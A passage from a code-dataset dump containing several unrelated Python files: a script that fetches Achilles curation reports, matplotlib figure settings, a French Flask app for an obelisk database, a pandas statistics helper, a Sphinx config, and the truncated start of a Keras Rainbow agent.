get_submission_name(p)\n result = {\n 'hpo_id': hpo_id,\n 'updated': dte,\n 'report_path': report_path,\n 'name': name\n }\n results.append(result)\n return results\n\n\ndef read_text(p):\n try:\n with open(p, 'r') as fp:\n return fp.read()\n except IOError as err:\n print(err)\n\n\ndef write_text(p, t):\n try:\n with open(p, 'w') as fp:\n fp.write(t)\n except IOError as err:\n print(err)\n\n\ndef write_json(pth, obj):\n try:\n with open(pth, 'w') as fp:\n json.dump(obj, fp, indent=4)\n except Exception as err:\n print(err)\n\n\ndef update_source_name(rpt):\n pth = 'curation_report/data/%s/person.json' % rpt['hpo_id']\n try:\n txt = read_text(pth).replace('my_source', rpt['hpo_id'])\n except Exception as err:\n txt = err\n\n print('Updating source name in %s...' % pth)\n write_text(pth, txt)\n\n\ndef datasource_for(rpt):\n return {'folder': rpt['hpo_id'], 'cdmVersion': 5, 'name': rpt['hpo_id']}\n\n\ndef update_datasources(rpts):\n datasources = []\n for rpt in rpts:\n datasource = datasource_for(rpt)\n datasources.append(datasource)\n obj = {'datasources': datasources}\n print('Saving datasources to %s...' % DATASOURCES_PATH)\n write_json(DATASOURCES_PATH, obj)\n\n\ndef download_report(path_dict):\n \"\"\"\n Download most recent report files\n :param path_dict: A Dictionary Which containing details of bucket parsed from the path.\n :return: None\n \"\"\"\n # Save it to curation_report/data/\n cdir = os.getcwd()\n try:\n os.mkdir('%s/curation_report/data' % cdir)\n\n except OSError:\n # log the exception but keep moving because it doesn't hurt your code.\n print(\"The file %s/result_data/%s already exists\", cdir,\n path_dict['hpo_id'])\n cmd = 'gsutil -m cp -r %s ./curation_report/data/' % (\n path_dict['report_path'])\n print('Downloading %s rpt with cmd: `%s`...' % (path_dict['hpo_id'], cmd))\n os.system(cmd)\n\n\ndef main():\n bq_list = query_reports.get_most_recent(\n report_for=common.REPORT_FOR_ACHILLES)\n reports = transform_bq_list(bq_list)\n for report in reports:\n print('processing report: \\n %s\\n...' % json.dumps(report, indent=4))\n download_report(report)\n update_source_name(report)\n update_datasources(reports)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"all-of-us/curation","sub_path":"data_steward/tools/consolidated_reports/get_all_achilles_reports.py","file_name":"get_all_achilles_reports.py","file_ext":"py","file_size_in_byte":3555,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"82"} +{"seq_id":"20525237411","text":"class FigureSetting:\n default = {\n \"dpi\": 300,\n \"bbox_inches\": \"tight\",\n \"pad_inches\": 0,\n }\n png = {\n **default,\n \"format\": \"png\",\n }\n tiff = {\n **default,\n \"format\": \"tiff\",\n }\n gif = {\n **default,\n \"format\": \"gif\",\n \"save_all\": True,\n }\n monochrome = {\n \"bbox_inches\": \"tight\",\n \"pad_inches\": 0,\n }\n monochrome_png = {\n **monochrome,\n \"format\": \"png\",\n }\n monochrome_tiff = {\n **monochrome,\n \"format\": \"tiff\",\n }\n\n\nclass PltPlotParameter:\n # area\n default = {\n \"figsize\": (8, 8),\n \"edgecolor\": \"black\",\n \"linewidth\": 0.7,\n }\n whole_area = {\n **default,\n \"facecolor\": \"white\",\n }\n scope_area = {\n **default,\n \"linewidth\": 0.3,\n \"facecolor\": \"HoneyDew\",\n }\n watershed = {\n **scope_area,\n \"edgecolor\": \"blue\",\n }\n catchment = {\n **watershed,\n \"facecolor\": \"blue\",\n }\n\n\nclass PltConfig:\n rc_config = {\n \"font.family\": \"Times New Roman\",\n \"font.size\": 16,\n \"figure.autolayout\": True,\n \"xtick.major.size\": 3,\n \"ytick.major.size\": 3,\n \"xtick.major.width\": 1,\n \"ytick.major.width\": 1,\n \"axes.linewidth\": 1,\n }\n","repo_name":"harukimine/research-target-area","sub_path":"src/common/figure_setting.py","file_name":"figure_setting.py","file_ext":"py","file_size_in_byte":1338,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"34433024392","text":"from flask import render_template, request, flash, redirect, url_for\n\nfrom ..app import app, login, db\nfrom ..modeles.donnees import Obelisque, Personne, Erige, Localisation, Authorship\nfrom ..modeles.utilisateurs import User\nfrom ..constantes import RESULTATS_PAR_PAGE\nfrom flask_login import login_user, current_user, logout_user, login_required\n# On importe or_ pour pouvoir filtrer des résultats sur de multiples éléments\nfrom sqlalchemy import or_\n\n\n# Page d'accueil\n@app.route(\"/\")\ndef accueil():\n \"\"\" Route vers la page d'accueil de l'application.\n :returns: template accueil.html \"\"\"\n\n erige = Erige.query.all()\n return render_template(\"pages/accueil.html\", erige=erige)\n\n\n# Page redirigeant vers les ajouts de pages\n@app.route(\"/add\")\ndef add():\n \"\"\" Route vers la page Contribuer, permettant un accès rapide de l'intégralité des formulaires d'ajouts.\n :returns: template add.html \"\"\"\n\n return render_template(\"pages/add.html\")\n\n\n# Routes vers les trois éléments principaux de la base\n\n# Les obélisques\n@app.route(\"/obelisque/\")\ndef obelisque(obelisque_id):\n \"\"\" Route vers une page obélisque.\n :param obelisque_id: identifiant de l'obélisque à afficher\n :type obelisque_id: integer\n :returns: template obelisque.html \"\"\"\n\n obelisque = Obelisque.query.filter(Obelisque.obelisque_id == obelisque_id).first_or_404()\n erige = Erige.query.filter(Erige.erige_id_obelisque == obelisque_id)\n return render_template(\"pages/obelisque.html\", obelisque=obelisque, erige=erige)\n\n\n# Les personnes (commanditaires)\n@app.route(\"/personne/\")\ndef personne(personne_id):\n \"\"\" Route vers une page commanditaire.\n :param personne_id: identifiant du commanditaire à afficher\n :type personne_id: integer\n :returns: template personne.html \"\"\"\n\n personne = Personne.query.filter(Personne.personne_id == personne_id).first_or_404()\n erige = Erige.query.filter(Erige.erige_id_personne == personne_id).order_by(Erige.erige_date)\n return render_template(\"pages/personne.html\", personne=personne, erige=erige)\n\n\n# Les localisations\n@app.route(\"/lieu/\")\ndef localisation(localisation_id):\n \"\"\" Route vers une page lieu.\n :param localisation_id: identifiant du lieu à afficher\n :type localisation_id: integer\n :returns: template lieu.html \"\"\"\n\n localisation = Localisation.query.filter(Localisation.localisation_id == localisation_id).first_or_404()\n erige = Erige.query.filter(Erige.erige_id_localisation == localisation_id).order_by(Erige.erige_date)\n return render_template(\"pages/lieu.html\", localisation=localisation, erige=erige)\n\n\n# Les pages d'index\n\n# L'index recensant l'intégralité des obélisques\n@app.route(\"/index_obelisques\")\ndef index_obelisques():\n \"\"\" Route vers l'index général des obélisques.\n :returns: template index_obelisques.html \"\"\"\n\n page = request.args.get(\"page\", 1)\n if isinstance(page, str) and page.isdigit():\n page = int(page)\n else:\n page = 1\n resultats = Obelisque.query.order_by(Obelisque.obelisque_nom).paginate(page=page, per_page=RESULTATS_PAR_PAGE)\n return render_template(\"pages/index_obelisques.html\", resultats=resultats)\n\n\n# L'index des obélisques égyptiens\n@app.route(\"/index_obelisques_egyptiens\")\ndef index_obelisques_egyptiens():\n \"\"\" Route vers l'index des obélisques égyptiens.\n :returns: template index_obelisques_egyptiens.html \"\"\"\n\n page = request.args.get(\"page\", 1)\n if isinstance(page, str) and page.isdigit():\n page = int(page)\n else:\n page = 1\n resultats = Obelisque.query.filter(Obelisque.obelisque_type_commande == \"Égyptienne\").paginate(page=page,\n per_page=RESULTATS_PAR_PAGE)\n return render_template(\"pages/index_obelisques_egyptiens.html\", resultats=resultats)\n\n\n# L'index des obélisques romains\n@app.route(\"/index_obelisques_romains\")\ndef index_obelisques_romains():\n \"\"\" Route vers l'index des obélisques romains.\n :returns: template index_obelisques_romains.html \"\"\"\n\n page = request.args.get(\"page\", 1)\n if isinstance(page, str) and page.isdigit():\n page = int(page)\n else:\n page = 1\n resultats = Obelisque.query.filter(Obelisque.obelisque_type_commande == \"Romaine\").paginate(page=page,\n per_page=RESULTATS_PAR_PAGE)\n return render_template(\"pages/index_obelisques_romains.html\", resultats=resultats)\n\n\n# L'index des personnes (commanditaires)\n@app.route(\"/index_personnes\")\ndef index_personnes():\n \"\"\" Route vers l'index des commanditaires.\n :returns: template index_personnes.html \"\"\"\n\n page = request.args.get(\"page\", 1)\n if isinstance(page, str) and page.isdigit():\n page = int(page)\n else:\n page = 1\n resultats = Personne.query.order_by(Personne.personne_nom).paginate(page=page, per_page=RESULTATS_PAR_PAGE)\n return render_template(\"pages/index_personnes.html\", resultats=resultats)\n\n\n# L'index des lieux (localisations)\n@app.route(\"/index_lieux\")\ndef index_lieux():\n \"\"\" Route vers l'index des lieux.\n :returns: template index_lieux.html \"\"\"\n\n page = request.args.get(\"page\", 1)\n if isinstance(page, str) and page.isdigit():\n page = int(page)\n else:\n page = 1\n resultats = Localisation.query.order_by(Localisation.localisation_lieu).paginate(page=page,\n per_page=RESULTATS_PAR_PAGE)\n return render_template(\"pages/index_lieux.html\", resultats=resultats)\n\n\n# Faire une recherche plein texte sur les pages obelisque.html\n@app.route(\"/recherche\")\ndef recherche():\n \"\"\" Route pour la recherche plein texte sur les pages obelisque.html.\n :returns: template recherche.html \"\"\"\n\n motclef = request.args.get(\"keyword\", None)\n page = request.args.get(\"page\", 1)\n\n if isinstance(page, str) and page.isdigit():\n page = int(page)\n else:\n page = 1\n\n # On crée une liste vide de résultat (qui restera vide par défaut\n # si on n'a pas de mot clé)\n resultats = []\n\n # On fait de même pour le titre de la page\n titre = \"Recherche\"\n if motclef:\n resultats = Obelisque.query.filter(or_(\n Obelisque.obelisque_nom.like(\"%{}%\".format(motclef)),\n Obelisque.obelisque_materiau.like(\"%{}%\".format(motclef)),\n Obelisque.obelisque_type_commande.like(\"%{}%\".format(motclef)),\n Obelisque.obelisque_notice.like(\"%{}%\".format(motclef)),\n Obelisque.obelisque_inscription_latine.like(\"%{}%\".format(motclef)),\n Obelisque.obelisque_inscription_latine_traduite.like(\"%{}%\".format(motclef)))).paginate(page=page,\n per_page=RESULTATS_PAR_PAGE)\n\n return render_template(\n \"pages/recherche.html\",\n resultats=resultats,\n titre=titre,\n keyword=motclef\n )\n\n\n# Gestion des comptes utilisateurs\n\n# Création d'un compte : l'inscription\n@app.route(\"/register\", methods=[\"GET\", \"POST\"])\ndef inscription():\n \"\"\" Route vers le formulaire d'inscription.\n :returns: template inscription.html \"\"\"\n\n # Si on est en POST, cela veut dire que le formulaire a été envoyé\n if request.method == \"POST\":\n statut, donnees = User.creer(\n login=request.form.get(\"login\", None),\n email=request.form.get(\"email\", None),\n nom=request.form.get(\"nom\", None),\n motdepasse=request.form.get(\"motdepasse\", None)\n )\n if statut is True:\n flash(\"Enregistrement effectué. Identifiez-vous maintenant\", \"success\")\n return redirect(\"/\")\n else:\n flash(\"Les erreurs suivantes ont été rencontrées : \" + \",\".join(donnees), \"error\")\n return render_template(\"pages/inscription.html\")\n else:\n return render_template(\"pages/inscription.html\")\n\n\n# Connexion à un compte existant\n@app.route(\"/connexion\", methods=[\"POST\", \"GET\"])\ndef connexion():\n \"\"\" Route vers la page de connexion.\n :returns: template connexion.html \"\"\"\n\n if current_user.is_authenticated is True:\n flash(\"Vous êtes déjà connecté-e\", \"info\")\n return redirect(\"/\")\n # Si on est en POST, cela veut dire que le formulaire a été envoyé\n if request.method == \"POST\":\n utilisateur = User.identification(\n login=request.form.get(\"login\", None),\n motdepasse=request.form.get(\"motdepasse\", None)\n )\n if utilisateur:\n flash(\"Connexion effectuée\", \"success\")\n login_user(utilisateur)\n return redirect(\"/\")\n else:\n flash(\"Les identifiants n'ont pas été reconnus\", \"error\")\n\n return render_template(\"pages/connexion.html\")\n\n\nlogin.login_view = 'connexion'\n\n\n# Déconnexion\n@app.route(\"/deconnexion\", methods=[\"POST\", \"GET\"])\ndef deconnexion():\n \"\"\" Route de redirection après la déconnexion.\n :returns: redirection vers l'accueil \"\"\"\n\n if current_user.is_authenticated is True:\n logout_user()\n flash(\"Vous êtes déconnecté-e\", \"info\")\n return redirect(\"/\")\n\n\n# Gérer les pages d'erreurs\n\n# Erreur 404\n@app.errorhandler(404)\ndef not_found_error(error):\n \"\"\" Route en cas d'erreur 404.\n :returns: template erreur_404.html \"\"\"\n\n return render_template('erreurs/erreur_404.html'), 404\n\n\n# Erreur 500\n@app.errorhandler(500)\ndef internal_error(error):\n \"\"\" Route en cas d'erreur 500.\n :returns: template erreur_500.html \"\"\"\n\n return render_template('error/erreur_500.html'), 500\n\n\n# Ajouter, modifier ou supprimer une page\n\n# Ajouter une page\n\n# Ajouter une page obélisque\n\n@app.route(\"/obelisque/add\", methods=[\"GET\", \"POST\"])\n@login_required\ndef obelisque_add():\n \"\"\" Route pour le formulaire d'ajout d'un obélisque.\n :returns: template obelisque_form_add.html \"\"\"\n\n if request.method == \"POST\":\n statut, informations = Obelisque.obelisque_add(\n obelisque_add_nom=request.form.get(\"obelisque_add_nom\", None),\n obelisque_add_hauteur=request.form.get(\"obelisque_add_hauteur\", None),\n obelisque_add_hauteur_avec_base=request.form.get(\"obelisque_add_hauteur_avec_base\", None),\n obelisque_add_materiau=request.form.get(\"obelisque_add_materiau\", None),\n obelisque_add_type_commande=request.form.get(\"obelisque_add_type_commande\", None),\n obelisque_add_notice=request.form.get(\"obelisque_add_notice\", None),\n obelisque_add_inscription_latine=request.form.get(\"obelisque_add_inscription_latine\", None),\n obelisque_add_inscription_latine_traduite=request.form.get(\"obelisque_add_inscription_latine_traduite\",\n None),\n obelisque_add_bibliographie=request.form.get(\"obelisque_add_bibliographie\", None),\n obelisque_add_image_url=request.form.get(\"obelisque_add_image_url\", None),\n obelisque_add_image_auteur=request.form.get(\"obelisque_add_image_auteur\", None),\n obelisque_add_image_licence=request.form.get(\"obelisque_add_image_licence\", None),\n obelisque_add_image_licence_url=request.form.get(\"obelisque_add_image_licence_url\", None)\n )\n\n if statut is True:\n flash(\"Nouvel obélisque ajouté à la base\", \"success\")\n return redirect(\"/\")\n else:\n flash(\"Echec : \" + \", \".join(informations), \"danger\")\n return render_template(\"pages/obelisque_form_add.html\")\n else:\n return render_template(\"pages/obelisque_form_add.html\")\n\n\n# Ajouter une page personne\n\n@app.route(\"/personne/add\", methods=[\"GET\", \"POST\"])\n@login_required\ndef personne_add():\n \"\"\" Route pour le formulaire d'ajout de commanditaire.\n :returns: template personne_form_add.html \"\"\"\n\n if request.method == \"POST\":\n statut, informations = Personne.personne_add(\n personne_add_nom=request.form.get(\"personne_add_nom\", None),\n personne_add_fonction=request.form.get(\"personne_add_fonction\", None),\n personne_add_nationalite=request.form.get(\"personne_add_nationalite\", None)\n )\n\n if statut is True:\n flash(\"Nouveau commanditaire ajouté à la base\", \"success\")\n return redirect(\"/\")\n else:\n flash(\"Echec : \" + \", \".join(informations), \"danger\")\n return render_template(\"pages/personne_form_add.html\")\n else:\n return render_template(\"pages/personne_form_add.html\")\n\n\n# Ajouter une page lieu\n\n@app.route(\"/lieu/add\", methods=[\"GET\", \"POST\"])\n@login_required\ndef localisation_add():\n \"\"\" Route pour le formulaire d'ajout de lieu.\n :returns: template lieu_form_add.html \"\"\"\n\n if request.method == \"POST\":\n statut, informations = Localisation.localisation_add(\n localisation_add_lieu=request.form.get(\"localisation_add_lieu\", None),\n localisation_add_ville=request.form.get(\"localisation_add_ville\", None),\n localisation_add_pays=request.form.get(\"localisation_add_pays\", None),\n localisation_add_latitude=request.form.get(\"localisation_add_latitude\", None),\n localisation_add_longitude=request.form.get(\"localisation_add_longitude\", None)\n )\n\n if statut is True:\n flash(\"Nouveau lieu ajouté à la base\", \"success\")\n return redirect(\"/\")\n else:\n flash(\"Echec : \" + \", \".join(informations), \"danger\")\n return render_template(\"pages/lieu_form_add.html\")\n else:\n return render_template(\"pages/lieu_form_add.html\")\n\n\n# Modifier une page\n\n# Modifier une page obélisque\n\n@app.route(\"/obelisque//update\", methods=[\"GET\", \"POST\"])\n@login_required\ndef obelisque_update(obelisque_id):\n \"\"\" Route pour le formulaire de mise à jour d'un obélisque.\n :param obelisque_id: identifiant de l'obélisque à modifier\n :type obelisque_id: integer\n :returns: template obelisque_form_update.html \"\"\"\n\n editable = Obelisque.query.get_or_404(obelisque_id)\n\n erreurs = []\n updated = False\n\n if request.method == \"POST\":\n if not request.form.get(\"obelisque_nom\", \"\").strip():\n erreurs.append(\"Insérez un nom d'obélisque\")\n if not request.form.get(\"obelisque_hauteur\", \"\").strip():\n erreurs.append(\"Insérez une hauteur d'obélisque\")\n if not request.form.get(\"obelisque_hauteur_avec_base\", \"\").strip():\n erreurs.append(\"Insérez une hauteur avec base d'obélisque\")\n if not request.form.get(\"obelisque_materiau\", \"\").strip():\n erreurs.append(\"Insérez le matériau de l'obélisque\")\n if not request.form.get(\"obelisque_type_commande\", \"\").strip():\n erreurs.append(\"Insérez le type de commande de l'obélisque\")\n if not request.form.get(\"obelisque_notice\", \"\").strip():\n erreurs.append(\"Insérez une notice d'obélisque\")\n if not request.form.get(\"obelisque_bibliographie\", \"\").strip():\n erreurs.append(\"Insérez une bibliographie\")\n if not request.form.get(\"obelisque_image_url\", \"\").strip():\n erreurs.append(\"Insérez l'URL de l'image'\")\n if not request.form.get(\"obelisque_image_auteur\", \"\").strip():\n erreurs.append(\"Insérez le nom de l'auteur de l'image\")\n if not request.form.get(\"obelisque_image_licence\", \"\").strip():\n erreurs.append(\"Insérez les droits de réutilisation de l'image\")\n if not request.form.get(\"obelisque_image_licence_url\", \"\").strip():\n erreurs.append(\"Insérez l'URL de la licence de l'image\")\n\n if not erreurs:\n print(\"Faire ma modification\")\n editable.obelisque_nom = request.form[\"obelisque_nom\"]\n editable.obelisque_hauteur = request.form[\"obelisque_hauteur\"]\n editable.obelisque_hauteur_avec_base = request.form[\"obelisque_hauteur_avec_base\"]\n editable.obelisque_materiau = request.form[\"obelisque_materiau\"]\n editable.obelisque_type_commande = request.form[\"obelisque_type_commande\"]\n editable.obelisque_notice = request.form[\"obelisque_notice\"]\n editable.obelisque_bibliographie = request.form[\"obelisque_bibliographie\"]\n editable.obelisque_inscription_latine = request.form[\"obelisque_inscription_latine\"]\n editable.obelisque_inscription_latine_traduite = request.form[\"obelisque_inscription_latine_traduite\"]\n editable.obelisque_image_url = request.form[\"obelisque_image_url\"]\n editable.obelisque_image_auteur = request.form[\"obelisque_image_auteur\"]\n editable.obelisque_image_licence = request.form[\"obelisque_image_licence\"]\n editable.obelisque_image_licence_url = request.form[\"obelisque_image_licence_url\"]\n\n db.session.add(editable)\n db.session.add(Authorship(obelisque=editable, user=current_user))\n db.session.commit()\n updated = True\n\n return render_template(\n \"pages/obelisque_form_update.html\",\n obelisque=editable,\n erreurs=erreurs,\n updated=updated\n )\n\n\n# Modifier une page personne\n\n@app.route(\"/personne//update\", methods=[\"GET\", \"POST\"])\n@login_required\ndef personne_update(personne_id):\n \"\"\" Route pour le formulaire de mise à jour d'un commanditaire.\n :param personne_id: identifiant du commanditaire à modifier\n :type personne_id: integer\n :returns: template personne_form_update.html \"\"\"\n\n editable = Personne.query.get_or_404(personne_id)\n\n erreurs = []\n updated = False\n\n if request.method == \"POST\":\n if not request.form.get(\"personne_nom\", \"\").strip():\n erreurs.append(\"Insérez un nom\")\n if not request.form.get(\"personne_nationalite\", \"\").strip():\n erreurs.append(\"Insérez la nationalité de la personne\")\n\n if not erreurs:\n print(\"Faire ma modification\")\n editable.personne_nom = request.form[\"personne_nom\"]\n editable.personne_nationalite = request.form[\"personne_nationalite\"]\n editable.personne_fonction = request.form[\"personne_fonction\"]\n\n db.session.add(editable)\n db.session.add(Authorship(personne=editable, user=current_user))\n db.session.commit()\n updated = True\n\n return render_template(\n \"pages/personne_form_update.html\",\n personne=editable,\n erreurs=erreurs,\n updated=updated\n )\n\n\n# Modifier une page lieu\n\n@app.route(\"/lieu//update\", methods=[\"GET\", \"POST\"])\n@login_required\ndef localisation_update(localisation_id):\n \"\"\" Route pour le formulaire de mise à jour d'un lieu.\n :param localisation_id: identifiant du lieu à modifier\n :type localisation_id: integer\n :returns: template lieu_form_update.html \"\"\"\n\n editable = Localisation.query.get_or_404(localisation_id)\n\n erreurs = []\n updated = False\n\n if request.method == \"POST\":\n if not request.form.get(\"localisation_lieu\", \"\").strip():\n erreurs.append(\"Insérez un nom de lieu\")\n if not request.form.get(\"localisation_ville\", \"\").strip():\n erreurs.append(\"Insérez la ville du lieu\")\n if not request.form.get(\"localisation_pays\", \"\").strip():\n erreurs.append(\"Insérez le pays du lieu\")\n\n if not erreurs:\n print(\"Faire ma modification\")\n editable.localisation_lieu = request.form[\"localisation_lieu\"]\n editable.localisation_ville = request.form[\"localisation_ville\"]\n editable.localisation_pays = request.form[\"localisation_pays\"]\n editable.localisation_latitude = request.form[\"localisation_latitude\"]\n editable.localisation_longitude = request.form[\"localisation_longitude\"]\n\n db.session.add(editable)\n db.session.add(Authorship(localisation=editable, user=current_user))\n db.session.commit()\n updated = True\n\n return render_template(\n \"pages/lieu_form_update.html\",\n localisation=editable,\n erreurs=erreurs,\n updated=updated\n )\n\n\n# Supprimer une page\n\n# Supprimer une page obélisque\n\n@app.route(\"/obelisque//delete\", methods=[\"POST\", \"GET\"])\n@login_required\ndef obelisque_delete(obelisque_id):\n \"\"\" Route pour le formulaire de suppression d'un obélisque.\n :param obelisque_id: identifiant de l'obélisque à supprimer\n :type obelisque_id: integer\n :returns: template obelisque_form_delete.html en cas d'échec, retour à l'accueil en cas de réussite \"\"\"\n\n supprimable = Obelisque.query.get(obelisque_id)\n\n if request.method == \"POST\":\n statut = Obelisque.obelisque_delete(\n obelisque_id=obelisque_id\n )\n\n if statut is True:\n flash(\"L'obélisque a été supprimé de la base\", \"success\")\n return redirect(\"/\")\n else:\n flash(\"Echec\", \"error\")\n return redirect(\"/\")\n else:\n return render_template(\"pages/obelisque_form_delete.html\", supprimable=supprimable)\n\n\n# Supprimer une page personne\n\n@app.route(\"/personne//delete\", methods=[\"POST\", \"GET\"])\n@login_required\ndef personne_delete(personne_id):\n \"\"\" Route pour le formulaire de suppression d'un commanditaire.\n :param personne_id: identifiant du commanditaire à supprimer\n :type personne_id: integer\n :returns: template personne_form_delete.html en cas d'échec, retour vers l'accueil en cas de réussite \"\"\"\n\n supprimable = Personne.query.get(personne_id)\n\n if request.method == \"POST\":\n statut = Personne.personne_delete(\n personne_id=personne_id\n )\n\n if statut is True:\n flash(\"Le commanditaire a été supprimé de la base\", \"success\")\n return redirect(\"/\")\n else:\n flash(\"Echec\", \"error\")\n return redirect(\"/\")\n else:\n return render_template(\"pages/personne_form_delete.html\", supprimable=supprimable)\n\n\n# Supprimer une page lieu\n\n@app.route(\"/lieu//delete\", methods=[\"POST\", \"GET\"])\n@login_required\ndef localisation_delete(localisation_id):\n \"\"\" Route pour le formulaire de suppression d'un lieu.\n :param localisation_id: identifiant du lieu à supprimer\n :type localisation_id: integer\n :returns: template localisation_form_delete.html en cas d'échec, retour vers l'accueil en cas de réussite \"\"\"\n\n supprimable = Localisation.query.get(localisation_id)\n\n if request.method == \"POST\":\n statut = Localisation.localisation_delete(\n localisation_id=localisation_id\n )\n\n if statut is True:\n flash(\"Le lieu a été supprimé de la base\", \"success\")\n return redirect(\"/\")\n else:\n flash(\"Echec\", \"error\")\n return redirect(\"/\")\n else:\n return render_template(\"pages/lieu_form_delete.html\", supprimable=supprimable)\n\n\n# La page pour la gestion des élévations\n# Source : https://www.youtube.com/watch?v=XTpLbBJTOM4\n@app.route('/elevations')\n@login_required\ndef elevations():\n \"\"\" Route pour le tableau de gestion des élévations.\n :returns: template elevations.html \"\"\"\n\n erige = Erige.query.all()\n\n return render_template(\"pages/elevations.html\", erige=erige)\n\n\n# Ajouter une élévation\n\n@app.route(\"/erige/add\", methods=[\"GET\", \"POST\"])\n@login_required\ndef erige_add():\n \"\"\" Route pour le formulaire d'ajout d'une élévation.\n :returns: template elevations.html\n \"\"\"\n\n if request.method == \"POST\":\n statut, informations = Erige.erige_add(\n erige_add_id_obelisque=request.form.get(\"erige_add_id_obelisque\", None),\n erige_add_id_personne=request.form.get(\"erige_add_id_personne\", None),\n erige_add_id_localisation=request.form.get(\"erige_add_id_localisation\", None),\n erige_add_date=request.form.get(\"erige_add_date\", None),\n erige_add_actuel=request.form.get(\"erige_add_actuel\", None)\n )\n\n if statut is True:\n flash(\"Nouvelle élévation ajoutée à la base\", \"success\")\n return redirect(url_for('elevations'))\n else:\n flash(\"Echec : \" + \", \".join(informations), \"danger\")\n return redirect(url_for('elevations'))\n else:\n return redirect(url_for('elevations'))\n\n\n# Modifier une élévation\n\n@app.route(\"/erige//update\", methods=[\"GET\", \"POST\"])\n@login_required\ndef erige_update(erige_id):\n \"\"\" Route pour le formulaire de modification d'une élévation.\n :param erige_id: identifiant de l'élévation à modifier\n :type erige_id: integer\n :returns: template elevations.html\n \"\"\"\n\n editable = Erige.query.get_or_404(erige_id)\n\n erreurs = []\n\n if request.method == \"POST\":\n if not request.form.get(\"erige_id_obelisque\", \"\").strip():\n erreurs.append(\"Insérez un id d'obélisque\")\n if not request.form.get(\"erige_id_personne\", \"\").strip():\n erreurs.append(\"Insérez un id de personne\")\n if not request.form.get(\"erige_id_localisation\", \"\").strip():\n erreurs.append(\"Insérez un id de lieu\")\n if not request.form.get(\"erige_date\", \"\").strip():\n erreurs.append(\"Insérez une date d'élévation\")\n\n if not erreurs:\n print(\"Faire ma modification\")\n editable.erige_id_obelisque = request.form[\"erige_id_obelisque\"]\n editable.erige_id_personne = request.form[\"erige_id_personne\"]\n editable.erige_id_localisation = request.form[\"erige_id_localisation\"]\n editable.erige_date = request.form[\"erige_date\"]\n editable.erige_actuel = request.form[\"erige_actuel\"]\n\n db.session.add(editable)\n db.session.add(Authorship(erige=editable, user=current_user))\n db.session.commit()\n flash(\"Elévation mise à jour avec succès\", \"success\")\n else:\n flash(\"Echec\", \"danger\")\n\n return redirect(url_for('elevations'))\n\n\n# Supprimer une élévation\n\n@app.route(\"/erige//delete\", methods=[\"POST\", \"GET\"])\n@login_required\ndef erige_delete(erige_id):\n \"\"\" Route pour le formulaire de suppression d'une élévation.\n :param erige_id: identifiant de l'élévation à supprimer\n :type erige_id: integer\n :returns: template elevations.html\n \"\"\"\n\n supprimable = Erige.query.get(erige_id)\n db.session.delete(supprimable)\n db.session.commit()\n flash(\"Elévation supprimée avec succès\", \"success\")\n\n return redirect(url_for('elevations'))\n","repo_name":"A-Menu/Obeliste","sub_path":"app/routes/generic.py","file_name":"generic.py","file_ext":"py","file_size_in_byte":27113,"program_lang":"python","lang":"fr","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"11716660427","text":"import pandas\nimport statistics\n\"\"\"\n reads the data from the file and puts it in a dictionary with the necessary features\n\"\"\"\ndef load_data(path,features):\n df = pandas.read_csv(path)\n data = df.to_dict(orient=\"list\")\n data = {x:data[x] for x in features}\n return data\n\"\"\"\n seperates the dictionary into two dictionaries by the value of each feature\n\"\"\"\n\n\ndef filter_by_feature(data, feature, values):\n data1 = deep_copy_data(data)\n data2 = deep_copy_data(data)\n for k in data:\n data1[k] = []\n data2[k] = []\n for i in range(len(data[feature])):\n if data[feature][i] in values:\n for k in data:\n data1[k].append(data[k][i])\n else:\n for k in data:\n data2[k].append(data[k][i])\n return data1, data2\n\n\n\n\n # data1 = deep_copy_data(data)\n #data2 = deep_copy_data(data)\n # if data[feature][i] in values:\n # for k in [\"cnt\",\"hum\",\"t1\",\"is_holiday\",\"season\"]:\n # data2[k].remove(data[k][i])\n # else:\n # for k in [\"cnt\",\"hum\", \"t1\", \"is_holiday\", \"season\"]:\n # data1[k].remove(data[k][i])\n\n\"\"\"\n prints the value of the statistic methods for each feature\n\"\"\"\ndef print_details(data, features, statistic_functions):\n temp = []\n for feature in features:\n for y in statistic_functions:\n temp.append(y(data[feature]))\n for i in range(len(temp)):\n temp[i] = \"%.2f\" % temp[i]\n print(\"{}: {}\".format(feature,','.join(temp)))\n temp.clear()\n return()\n\n\"\"\"\n prints the value of the statistic methods for for two features\n\"\"\"\n\n\ndef print_joint_details(data, features, statistic_functions, statistic_functions_names):\n values = [data[feature] for feature in features]\n for function, function_name in zip(statistic_functions, statistic_functions_names):\n print(\"{}({}): {}\".format(function_name,\", \".join(features),\"%.2f\" % function(*values)))\n\n\ndef deep_copy_data(data):\n return {feature : data[feature].copy() for feature in data}\n","repo_name":"yuval-belelovsky/HW1_INTRO_DS","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":2083,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"14101762372","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nimport datetime\nimport sys\nsys.path.insert(0, '../src/files/')\n\nimport pyrfid\n\nproject = u'PyRfid'\nmaster_doc = 'index'\nauthor = 'Philipp Meisberger '\ncopyright = '2015-{}, {}'.format(datetime.date.today().year, author)\nversion = pyrfid.__version__\nrelease = version\nexclude_patterns = [\n '_build',\n 'Thumbs.db',\n '.DS_Store'\n]\nextensions = [\n 'sphinx.ext.napoleon',\n]\nautoclass_content = \"both\"\nautodoc_mock_imports = [\"serial\"]\nhtml_theme = \"sphinx_rtd_theme\"\n","repo_name":"philippmeisberger/pyrfid","sub_path":"docs/conf.py","file_name":"conf.py","file_ext":"py","file_size_in_byte":544,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"82"} +{"seq_id":"1098348021","text":"\nimport rl\nimport rl.core\nimport keras\nfrom keras.layers import *\nfrom keras.models import Model\nfrom keras.models import model_from_json\nfrom keras.utils import CustomObjectScope\n\nimport os\nimport pickle\n\nfrom .common import *\n\n\n#---------------------------------------------------\n# Rainbow\n#---------------------------------------------------\nclass Rainbow(rl.core.Agent):\n def __init__(self,\n input_shape,\n input_type,\n nb_actions,\n memory,\n action_policy,\n optimizer,\n\n metrics=[],\n image_model=None, # imegeモデルを指定\n input_sequence=4, # 入力フレーム数\n dense_units_num=512, # 